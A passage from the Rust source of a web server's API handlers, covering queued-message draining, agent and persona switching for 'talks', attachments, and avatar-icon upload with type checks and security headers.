8977 talk: Talk,
8978 talks: Talks,
8979 _cfg: Config,
8980 id: String,
8981 turn: TalkTurnGuard,
8982 started: Option<tokio::sync::oneshot::Sender<bool>>,
8983) {
8984 let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
8985 let running = if pending {
8986 match crate::consult::spawn_turn(&talks, &id).await {
8987 Ok(_) => true,
8988 Err(error) => {
8989 tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
8990 false
8991 }
8992 }
8993 } else {
8994 false
8995 };
8996 drop(turn);
8997 if let Some(started) = started {
8998 let _ = started.send(running);
8999 }
9000}
9001
9002#[cfg(test)]
9005async fn drain_loop_started(
9006 mut talk: Talk,
9007 talks: Talks,
9008 cfg: Config,
9009 id: String,
9010 turn: TalkTurnGuard,
9011 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9012) {
9013 let live_set = Arc::clone(&turn.turns);
9014 let mut turn = Some(turn);
9022 loop {
9023 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9024 tracing::warn!("talk {id} lost its turn lease; not draining further");
9027 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9028 if let Some(turn) = turn.take() {
9029 turn.release(&mut live);
9030 }
9031 break;
9032 }
9033 let observed = live_set
9037 .lock()
9038 .unwrap_or_else(PoisonError::into_inner)
9039 .queued
9040 .get(&id)
9041 .copied()
9042 .unwrap_or(0);
9043 let drained = blocking({
9044 let talks = talks.clone();
9045 move || {
9046 let result = talk::drain(&mut talk, &talks);
9047 Ok((talk, result))
9048 }
9049 })
9050 .await;
9051 let (next_talk, result) = match drained {
9052 Ok(drained) => drained,
9053 Err(e) => {
9054 tracing::warn!(
9055 status = %e.status,
9056 message = %e.message,
9057 "talk {id} could not start queued-text drain"
9058 );
9059 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9060 turn.take()
9061 .expect("held for the whole loop until released here")
9062 .release(&mut live);
9063 break;
9064 }
9065 };
9066 talk = next_talk;
9067 let drained = match result {
9068 Ok(Some(drained)) => drained,
9069 Ok(None) => {
9070 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9071 if live.queued.get(&id).copied().unwrap_or(0) != observed {
9072 continue;
9073 }
9074 turn.take()
9075 .expect("held for the whole loop until released here")
9076 .release(&mut live);
9077 break;
9078 }
9079 Err(e) => {
9080 tracing::warn!("talk {id} could not drain queued text: {e:#}");
9081 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9082 turn.take()
9083 .expect("held for the whole loop until released here")
9084 .release(&mut live);
9085 break;
9086 }
9087 };
9088 if let Some(started) = started.take() {
9089 let _ = started.send(true);
9090 }
9091 let responded = match turn.as_ref() {
9092 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9093 None => Err(anyhow::anyhow!("the turn guard was released")),
9094 };
9095 if let Err(e) = responded {
9096 tracing::warn!("talk {id} turn failed: {e:#}");
9097 }
9098 }
9099 drop(turn);
9100 if let Some(started) = started {
9101 let _ = started.send(false);
9102 }
9103}
9104
9105async fn talk_pending_clear(
9107 State(ui): State<Arc<Ui>>,
9108 Path(id): Path<String>,
9109 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9110) -> ApiResult<Json<TalkView>> {
9111 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9112 blocking(move || {
9113 let id = resolve_talk(&ui.talks, &id)?;
9114 let mut talk = ui.talks.get(&id)?;
9115 if !talk.status.open() {
9116 return Err(ApiError::conflict(format!(
9117 "talk {} is {} and takes no more turns",
9118 talk.short(),
9119 talk.status.as_str()
9120 )));
9121 }
9122 if !talk::clear_pending_if_matches(
9123 &mut talk,
9124 &ui.talks,
9125 &body.expected_text,
9126 &body.expected_attachments,
9127 )? {
9128 return Err(ApiError::conflict(
9129 "queued message changed; reload it before clearing",
9130 ));
9131 }
9132 let thinking = ui.is_thinking(&talk.id);
9133 Ok(Json(TalkView::new(talk, thinking, &ui)))
9134 })
9135 .await
9136}
9137
9138async fn talk_pending_edit(
9142 State(ui): State<Arc<Ui>>,
9143 Path(id): Path<String>,
9144 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9145) -> ApiResult<Json<TalkView>> {
9146 let admission = ui.begin_admission()?;
9147 admitted(admission, async move {
9148 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9149 let id = {
9150 let ui = Arc::clone(&ui);
9151 blocking(move || resolve_talk(&ui.talks, &id)).await?
9152 };
9153 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9154 .await
9155 .map_err(ApiError::from)?;
9156 let (view, reclaimed) = blocking({
9157 let ui = Arc::clone(&ui);
9158 move || {
9159 let mut talk = ui.talks.get(&id)?;
9160 if !talk.status.open() {
9161 return Err(ApiError::conflict(format!(
9162 "talk {} is {} and takes no more turns",
9163 talk.short(),
9164 talk.status.as_str()
9165 )));
9166 }
9167 if !talk::edit_pending_message(
9168 &mut talk,
9169 &ui.talks,
9170 &body.text,
9171 &body.expected_text,
9172 &body.expected_attachments,
9173 body.message,
9174 )? {
9175 return Err(ApiError::conflict(
9176 "queued message changed; reload it before editing",
9177 ));
9178 }
9179 let claim = match ui.begin_queued_talk_turn(&id)? {
9180 Some(turn_guard) => {
9181 let (cfg, _) = Config::discover(&talk.repo, None)?;
9182 Some((talk.clone(), cfg, id.clone(), turn_guard))
9183 }
9184 None => None,
9185 };
9186 let thinking = ui.is_thinking(&id);
9187 Ok((TalkView::new(talk, thinking, &ui), claim))
9188 }
9189 })
9190 .await?;
9191 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9192 let talks = ui.talks.clone();
9193 #[cfg(not(test))]
9194 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9195 #[cfg(test)]
9196 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9197 }
9198 Ok(Json(view))
9199 })
9200 .await
9201}
9202
9203fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9205 if talk.status.open() {
9206 return Ok(());
9207 }
9208 Err(ApiError::conflict(format!(
9209 "talk {} is {} and takes no more turns",
9210 talk.short(),
9211 talk.status.as_str()
9212 )))
9213}
9214
9215#[derive(Debug, Deserialize)]
9217struct TalkAgent {
9218 agent: String,
9219}
9220
9221async fn talk_agent(
9226 State(ui): State<Arc<Ui>>,
9227 Path(id): Path<String>,
9228 Json(body): Json<TalkAgent>,
9229) -> ApiResult<Json<TalkView>> {
9230 let admission = ui.begin_admission()?;
9231 admitted(admission, async move {
9232 let id = {
9233 let ui = Arc::clone(&ui);
9234 blocking(move || resolve_talk(&ui.talks, &id)).await?
9235 };
9236 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9237 .await
9238 .map_err(ApiError::from)?;
9239 let repo = {
9240 let ui = Arc::clone(&ui);
9241 let id = id.clone();
9242 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9243 };
9244 let cfg = config_for(&repo).await?;
9245 {
9247 let ui = Arc::clone(&ui);
9248 let id = id.clone();
9249 let cfg = cfg.clone();
9250 let wanted = body.agent.clone();
9251 blocking(move || {
9252 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9253 .map_err(ApiError::bad_request_from)?;
9254 refuse_if_closed(&ui.talks.get(&id)?)
9255 })
9256 .await?;
9257 }
9258 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9259 return Err(ApiError::conflict(
9260 "a talk turn is running; change the agent once it has answered",
9261 ));
9262 };
9263 let switched = {
9264 let ui = Arc::clone(&ui);
9265 let id = id.clone();
9266 let cfg = cfg.clone();
9267 blocking(move || {
9268 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9269 .map_err(ApiError::bad_request_from)?;
9270 let mut talk = ui.talks.get(&id)?;
9271 if !talk.status.open() {
9272 return Err(ApiError::conflict(format!(
9273 "talk {} is {} and takes no more turns",
9274 talk.short(),
9275 talk.status.as_str()
9276 )));
9277 }
9278 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9279 Ok(talk)
9280 })
9281 .await
9282 };
9283 let observed = ui.queued_generation(&id);
9288 let fresh = {
9289 let ui = Arc::clone(&ui);
9290 let id = id.clone();
9291 blocking(move || Ok(ui.talks.get(&id)?)).await
9292 };
9293 let draining = match fresh {
9294 Ok(talk) => {
9295 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9296 }
9297 Err(_) => false,
9298 };
9299 let talk = switched?;
9300 Ok(Json(TalkView::new(talk, draining, &ui)))
9301 })
9302 .await
9303}
9304
9305#[derive(Debug, Deserialize)]
9307struct TalkPersona {
9308 persona: String,
9309}
9310
9311async fn talk_persona(
9315 State(ui): State<Arc<Ui>>,
9316 Path(id): Path<String>,
9317 Json(body): Json<TalkPersona>,
9318) -> ApiResult<Json<TalkView>> {
9319 let admission = ui.begin_admission()?;
9320 admitted(admission, async move {
9321 let id = {
9322 let ui = Arc::clone(&ui);
9323 blocking(move || resolve_talk(&ui.talks, &id)).await?
9324 };
9325 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9326 .await
9327 .map_err(ApiError::from)?;
9328 let repo = {
9329 let ui = Arc::clone(&ui);
9330 let id = id.clone();
9331 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9332 };
9333 let cfg = config_for(&repo).await?;
9334 {
9336 let ui = Arc::clone(&ui);
9337 let id = id.clone();
9338 let cfg = cfg.clone();
9339 let wanted = body.persona.clone();
9340 blocking(move || {
9341 if persona::find(&cfg.talk.personas, &wanted).is_none() {
9342 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9343 }
9344 refuse_if_closed(&ui.talks.get(&id)?)
9345 })
9346 .await?;
9347 }
9348 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9349 return Err(ApiError::conflict(
9350 "a talk turn is running; change the persona once it has answered",
9351 ));
9352 };
9353 let switched = {
9354 let ui = Arc::clone(&ui);
9355 let id = id.clone();
9356 let cfg = cfg.clone();
9357 blocking(move || {
9358 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9359 return Err(ApiError::bad_request(format!(
9360 "unknown persona `{}`",
9361 body.persona
9362 )));
9363 };
9364 let mut talk = ui.talks.get(&id)?;
9365 if !talk.status.open() {
9366 return Err(ApiError::conflict(format!(
9367 "talk {} is {} and takes no more turns",
9368 talk.short(),
9369 talk.status.as_str()
9370 )));
9371 }
9372 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9373 Ok(talk)
9374 })
9375 .await
9376 };
9377 let observed = ui.queued_generation(&id);
9379 let fresh = {
9380 let ui = Arc::clone(&ui);
9381 let id = id.clone();
9382 blocking(move || Ok(ui.talks.get(&id)?)).await
9383 };
9384 let draining = match fresh {
9385 Ok(talk) => {
9386 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9387 }
9388 Err(_) => false,
9389 };
9390 let talk = switched?;
9391 Ok(Json(TalkView::new(talk, draining, &ui)))
9392 })
9393 .await
9394}
9395
9396#[derive(Debug, Deserialize)]
9398struct TalkImplementers {
9399 implementers: u8,
9400}
9401
9402async fn talk_implementers(
9406 State(ui): State<Arc<Ui>>,
9407 Path(id): Path<String>,
9408 Json(body): Json<TalkImplementers>,
9409) -> ApiResult<Json<TalkView>> {
9410 let admission = ui.begin_admission()?;
9411 admitted(admission, async move {
9412 let id = {
9413 let ui = Arc::clone(&ui);
9414 blocking(move || resolve_talk(&ui.talks, &id)).await?
9415 };
9416 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9417 .await
9418 .map_err(ApiError::from)?;
9419 let repo = {
9420 let ui = Arc::clone(&ui);
9421 let id = id.clone();
9422 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9423 };
9424 let cfg = config_for(&repo).await?;
9425 {
9430 let ui = Arc::clone(&ui);
9431 let id = id.clone();
9432 let cfg = cfg.clone();
9433 let wanted = body.implementers;
9434 blocking(move || {
9435 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9436 refuse_if_closed(&ui.talks.get(&id)?)
9437 })
9438 .await?;
9439 }
9440 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9441 return Err(ApiError::conflict(
9442 "a talk turn is running; change the implementers once it has answered",
9443 ));
9444 };
9445 let switched = {
9446 let ui = Arc::clone(&ui);
9447 let id = id.clone();
9448 let cfg = cfg.clone();
9449 blocking(move || {
9450 let chosen = talk::check_implementers(body.implementers, &cfg)
9451 .map_err(ApiError::bad_request)?;
9452 let mut talk = ui.talks.get(&id)?;
9453 if !talk.status.open() {
9454 return Err(ApiError::conflict(format!(
9455 "talk {} is {} and takes no more turns",
9456 talk.short(),
9457 talk.status.as_str()
9458 )));
9459 }
9460 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9461 Ok(talk)
9462 })
9463 .await
9464 };
9465 let observed = ui.queued_generation(&id);
9467 let fresh = {
9468 let ui = Arc::clone(&ui);
9469 let id = id.clone();
9470 blocking(move || Ok(ui.talks.get(&id)?)).await
9471 };
9472 let draining = match fresh {
9473 Ok(talk) => {
9474 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9475 }
9476 Err(_) => false,
9477 };
9478 let talk = switched?;
9479 Ok(Json(TalkView::new(talk, draining, &ui)))
9480 })
9481 .await
9482}
9483
9484async fn talk_close(
9486 State(ui): State<Arc<Ui>>,
9487 Path(id): Path<String>,
9488) -> ApiResult<Json<TalkView>> {
9489 blocking(move || {
9490 let id = resolve_talk(&ui.talks, &id)?;
9491 let mut talk = ui.talks.get(&id)?;
9492 talk::close(&mut talk, &ui.talks)?;
9493 let thinking = ui.is_thinking(&talk.id);
9494 Ok(Json(TalkView::new(talk, thinking, &ui)))
9495 })
9496 .await
9497}
9498
9499async fn talk_reopen(
9501 State(ui): State<Arc<Ui>>,
9502 Path(id): Path<String>,
9503) -> ApiResult<Json<TalkView>> {
9504 blocking(move || {
9505 let id = resolve_talk(&ui.talks, &id)?;
9506 let mut talk = ui.talks.get(&id)?;
9507 talk::reopen(&mut talk, &ui.talks)?;
9508 let thinking = ui.is_thinking(&talk.id);
9509 Ok(Json(TalkView::new(talk, thinking, &ui)))
9510 })
9511 .await
9512}
9513
9514async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9524 blocking(move || {
9525 let id = resolve_talk(&ui.talks, &id)?;
9526 ui.talks.remove(&id)?;
9527 Ok(StatusCode::NO_CONTENT)
9528 })
9529 .await
9530}
9531
9532fn talk_ids(root: &FsPath) -> Vec<String> {
9533 std::fs::read_dir(root)
9534 .into_iter()
9535 .flatten()
9536 .flatten()
9537 .filter_map(|e| {
9538 let path = e.path();
9539 if path.extension().is_some_and(|ext| ext == "json") {
9540 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9541 } else {
9542 None
9543 }
9544 })
9545 .collect()
9546}
9547
9548fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9550 if plain_record_id(id) && store.path_of(id).is_file() {
9551 return Ok(id.to_owned());
9552 }
9553 pick(talk_ids(store.root()), id, "talk")
9554}
9555
9556async fn talk_attachment_post(
9559 State(ui): State<Arc<Ui>>,
9560 Path(id): Path<String>,
9561 headers: HeaderMap,
9562 body: Bytes,
9563) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
9564 let mime = validate_attachment(&headers, &body)?;
9565 let name = filename_header(&headers);
9566 let data = body.to_vec();
9567 blocking(move || {
9568 let id = resolve_talk(&ui.talks, &id)?;
9569 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
9570 Ok((StatusCode::CREATED, Json(att)))
9571 })
9572 .await
9573}
9574
9575async fn talk_attachment_get(
9578 State(ui): State<Arc<Ui>>,
9579 Path((id, att)): Path<(String, String)>,
9580) -> ApiResult<Response> {
9581 blocking(move || {
9582 let id = resolve_talk(&ui.talks, &id)?;
9583 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
9584 return Err(ApiError::not_found(format!(
9585 "talk {id} has no attachment `{att}`"
9586 )));
9587 };
9588 Ok(attachment_response(&meta.mime, data))
9589 })
9590 .await
9591}
9592
9593fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
9596 let id = avatar_encode(&p.id);
9597 format!(
9598 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
9599 persona_icon::fingerprint(
9600 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
9601 )
9602 )
9603}
9604
9605#[derive(Debug, Default, Deserialize)]
9606struct AvatarQuery {
9607 persona: Option<String>,
9608 builtin: Option<String>,
9610}
9611
9612const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
9614
9615fn builtin_avatar(id: &str) -> Response {
9616 svg_avatar(persona_icon::builtin_svg(id))
9617}
9618
9619async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9620 raster_or_builtin(
9621 read_icon_file(&avatar_setting_path(&ui.home, None))
9622 .filter(|_| q.builtin.is_none())
9623 .as_deref(),
9624 persona_icon::operator_svg(),
9625 )
9626}
9627
9628fn svg_avatar(svg: &'static str) -> Response {
9629 (
9630 [
9631 (header::CONTENT_TYPE, "image/svg+xml"),
9632 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9633 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
9634 (header::CACHE_CONTROL, "no-cache"),
9635 ],
9636 svg,
9637 )
9638 .into_response()
9639}
9640
9641fn avatar_encode(value: &str) -> String {
9642 value
9643 .bytes()
9644 .map(|b| {
9645 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
9646 char::from(b).to_string()
9647 } else {
9648 format!("%{b:02X}")
9649 }
9650 })
9651 .collect()
9652}
9653
9654fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
9656 let Some(id) = persona else {
9657 return home.join("avatars/operator.data");
9658 };
9659 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
9660 let mut path = home.join("avatars/personas");
9661 for chunk in encoded.as_bytes().chunks(100) {
9662 path.push(std::str::from_utf8(chunk).expect("hex"));
9663 }
9664 path.join("icon.data")
9665}
9666
9667fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
9668 match read_icon_file(&avatar_setting_path(home, Some(id))) {
9669 Some(value) if value == "builtin" => Some(String::new()),
9670 Some(value) => Some(value),
9671 None => configured.map(str::to_owned),
9672 }
9673}
9674
9675fn operator_icon_url(home: &FsPath) -> String {
9676 format!(
9677 "/avatars/operator.svg?v={}",
9678 persona_icon::fingerprint(
9679 read_icon_file(&avatar_setting_path(home, None))
9680 .as_deref()
9681 .or(Some(persona_icon::operator_svg()))
9682 )
9683 )
9684}
9685
9686fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
9687 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
9688 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9689 attachment_response(mime, bytes)
9690 }
9691 _ => svg_avatar(builtin),
9692 };
9693 response
9694 .headers_mut()
9695 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9696 response
9697}
9698
9699#[derive(Default, Deserialize)]
9700struct AvatarSettingsQuery {
9701 repo: Option<PathBuf>,
9702 persona: Option<String>,
9703 builtin: Option<String>,
9704 inherit: Option<String>,
9705}
9706
9707fn avatar_settings_specs(
9708 ui: &Ui,
9709 repo: Option<PathBuf>,
9710) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
9711 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
9712 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
9713 .map(|cfg| cfg.talk.personas)
9714 .unwrap_or_default();
9715 Ok((repo, specs))
9716}
9717
9718fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
9719 let Ok(entries) = std::fs::read_dir(path) else {
9720 return;
9721 };
9722 for entry in entries.flatten() {
9723 let name = entry.file_name().to_string_lossy().into_owned();
9724 if name == "icon.data" {
9725 let bytes: Option<Vec<u8>> = prefix
9726 .as_bytes()
9727 .chunks(2)
9728 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
9729 .collect();
9730 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
9731 out.push(id);
9732 }
9733 } else if name.len() <= 100
9734 && !name.is_empty()
9735 && name.bytes().all(|b| b.is_ascii_hexdigit())
9736 && entry.file_type().is_ok_and(|t| t.is_dir())
9737 {
9738 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
9739 }
9740 }
9741}
9742
9743async fn avatar_settings_get(
9744 State(ui): State<Arc<Ui>>,
9745 Query(q): Query<AvatarSettingsQuery>,
9746) -> ApiResult<Json<serde_json::Value>> {
9747 blocking(move || {
9748 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
9749 let mut catalog = persona::catalog(&specs);
9750 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
9751 let mut saved = Vec::new();
9752 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
9753 for id in saved {
9754 if !catalog.iter().any(|p| p.id == id) {
9755 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
9756 }
9757 }
9758 let personas: Vec<_> = catalog.iter().map(|p| {
9759 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
9760 let override_state = match saved.as_deref() {
9761 Some("builtin") => "builtin",
9762 Some(_) => "custom",
9763 None => "inherit",
9764 };
9765 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
9766 serde_json::json!({"id":p.id,"name":p.name,
9767 "override_state":override_state,"has_config_icon":p.icon.is_some(),
9768 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
9769 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
9770 }).collect();
9771 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
9772 }).await
9773}
9774
9775async fn settings_persona_avatar(
9776 State(ui): State<Arc<Ui>>,
9777 Query(q): Query<AvatarSettingsQuery>,
9778) -> ApiResult<Response> {
9779 blocking(move || {
9780 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
9781 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
9782 let found = persona::find(&specs, id);
9783 let icon =
9784 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
9785 Ok(raster_or_builtin(
9786 icon.as_deref().filter(|_| q.builtin.is_none()),
9787 persona_icon::builtin_svg(id),
9788 ))
9789 })
9790 .await
9791}
9792
9793fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
9794 if q.persona
9795 .as_ref()
9796 .is_some_and(|p| p.is_empty() || p.len() > 4096)
9797 {
9798 return Err(ApiError::bad_request("invalid persona id"));
9799 }
9800 Ok(())
9801}
9802
9803async fn avatar_settings_put(
9804 State(ui): State<Arc<Ui>>,
9805 Query(q): Query<AvatarSettingsQuery>,
9806 Json(upload): Json<MagiIconUpload>,
9807) -> ApiResult<Json<serde_json::Value>> {
9808 blocking(move || {
9809 validate_avatar_target(&q)?;
9810 save_icon_file(
9811 &avatar_setting_path(&ui.home, q.persona.as_deref()),
9812 &upload.icon,
9813 )
9814 .map_err(ApiError::bad_request_from)?;
9815 Ok(Json(serde_json::json!({"saved":true})))
9816 })
9817 .await
9818}
9819
9820async fn avatar_settings_delete(
9821 State(ui): State<Arc<Ui>>,
9822 Query(q): Query<AvatarSettingsQuery>,
9823) -> ApiResult<Json<serde_json::Value>> {
9824 blocking(move || {
9825 validate_avatar_target(&q)?;
9826 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
9827 if q.persona.is_some() && q.inherit.is_none() {
9828 atomic_icon_write(&path, "builtin")?;
9829 } else {
9830 match std::fs::remove_file(path) {
9831 Ok(()) => (),
9832 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9833 Err(e) => return Err(anyhow::Error::from(e).into()),
9834 }
9835 }
9836 Ok(Json(serde_json::json!({"saved":true})))
9837 })
9838 .await
9839}
9840
9841fn magi_icon_path(home: &FsPath) -> PathBuf {
9843 home.join("magi-icon.data")
9844}
9845
9846fn read_magi_icon(home: &FsPath) -> Option<String> {
9847 read_icon_file(&magi_icon_path(home))
9848}
9849
9850fn read_icon_file(path: &FsPath) -> Option<String> {
9851 let metadata = std::fs::metadata(path).ok()?;
9852 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
9853 return None;
9854 }
9855 let file = std::fs::File::open(path).ok()?;
9856 use std::io::Read;
9857 let mut text = String::new();
9858 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
9859 .read_to_string(&mut text)
9860 .ok()?;
9861 if text.len() > persona_icon::ICON_MAX_BYTES {
9862 return None;
9863 }
9864 if text == "builtin" {
9865 return Some(text);
9866 }
9867 validate_uploaded_icon(&text).ok()?;
9868 Some(text)
9869}
9870
9871fn magi_icon_url(home: &FsPath) -> String {
9872 format!(
9873 "/avatars/magi?v={}",
9874 persona_icon::fingerprint(read_magi_icon(home).as_deref())
9875 )
9876}
9877
9878async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
9879 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
9880}
9881
9882#[derive(Deserialize)]
9883struct MagiIconUpload {
9884 icon: String,
9885}
9886
9887fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
9888 save_icon_file(&magi_icon_path(home), icon)
9889}
9890
9891fn validate_uploaded_icon(icon: &str) -> Result<()> {
9892 if !icon.starts_with("data:") {
9893 anyhow::bail!("upload a raster image");
9894 }
9895 let (mime, bytes) = persona_icon::load(icon)?;
9896 if sniffed_mime(&bytes) != Some(mime) {
9897 anyhow::bail!("image content does not match its type");
9898 }
9899 Ok(())
9900}
9901
9902fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
9903 validate_uploaded_icon(icon)?;
9904 atomic_icon_write(path, icon)
9905}
9906
9907fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
9908 let home = path.parent().expect("icon parent");
9909 std::fs::create_dir_all(home)?;
9910 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
9911 let temp = home.join(format!(".magi-icon-{token}.tmp"));
9912 let result = (|| -> Result<()> {
9913 use std::io::Write;
9914 let mut file = std::fs::OpenOptions::new()
9915 .write(true)
9916 .create_new(true)
9917 .open(&temp)?;
9918 file.write_all(icon.as_bytes())?;
9919 file.sync_all()?;
9920 std::fs::rename(&temp, path)?;
9921 Ok(())
9922 })();
9923 let _ = std::fs::remove_file(temp);
9924 result?;
9925 Ok(())
9926}
9927
9928async fn magi_icon_put(
9929 State(ui): State<Arc<Ui>>,
9930 Json(upload): Json<MagiIconUpload>,
9931) -> ApiResult<Json<serde_json::Value>> {
9932 blocking(move || {
9933 if !upload.icon.starts_with("data:") {
9934 return Err(ApiError::bad_request("upload a raster image"));
9935 }
9936 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
9937 if sniffed_mime(&bytes) != Some(mime) {
9938 return Err(ApiError::bad_request(
9939 "image content does not match its type",
9940 ));
9941 }
9942 save_magi_icon(&ui.home, &upload.icon)?;
9943 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9944 })
9945 .await
9946}
9947
9948async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
9949 blocking(move || {
9950 match std::fs::remove_file(magi_icon_path(&ui.home)) {
9951 Ok(()) => (),
9952 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9953 Err(e) => return Err(anyhow::Error::from(e).into()),
9954 }
9955 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9956 })
9957 .await
9958}
9959
9960async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9961 let icon = (q.builtin.is_none())
9962 .then(|| read_magi_icon(&ui.home))
9963 .flatten();
9964 let mut response = match icon
9965 .as_deref()
9966 .and_then(|icon| persona_icon::load(icon).ok())
9967 {
9968 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9969 attachment_response(mime, bytes)
9970 }
9971 _ => svg_avatar(persona_icon::magi_svg()),
9972 };
9973 response
9974 .headers_mut()
9975 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9976 response
9977}
9978
9979async fn talk_avatar(
9984 State(ui): State<Arc<Ui>>,
9985 Path(id): Path<String>,
9986 Query(q): Query<AvatarQuery>,
9987) -> ApiResult<Response> {
9988 blocking(move || {
9989 let id = resolve_talk(&ui.talks, &id)?;
9990 let talk = ui.talks.get(&id)?;
9991 let wanted = q
9992 .persona
9993 .as_deref()
9994 .map(str::trim)
9995 .filter(|p| !p.is_empty())
9996 .unwrap_or(&talk.persona)
9997 .to_owned();
9998 let specs = match Config::discover(&talk.repo, None) {
9999 Ok((cfg, _)) => cfg.talk.personas,
10000 Err(e) => {
10001 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10002 Vec::new()
10003 }
10004 };
10005 let found = persona::find(&specs, &wanted);
10006 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10008 let icon = effective_persona_icon(
10009 &ui.home,
10010 &wanted,
10011 found.as_ref().and_then(|p| p.icon.as_deref()),
10012 );
10013 if found.is_none() && icon.is_none() {
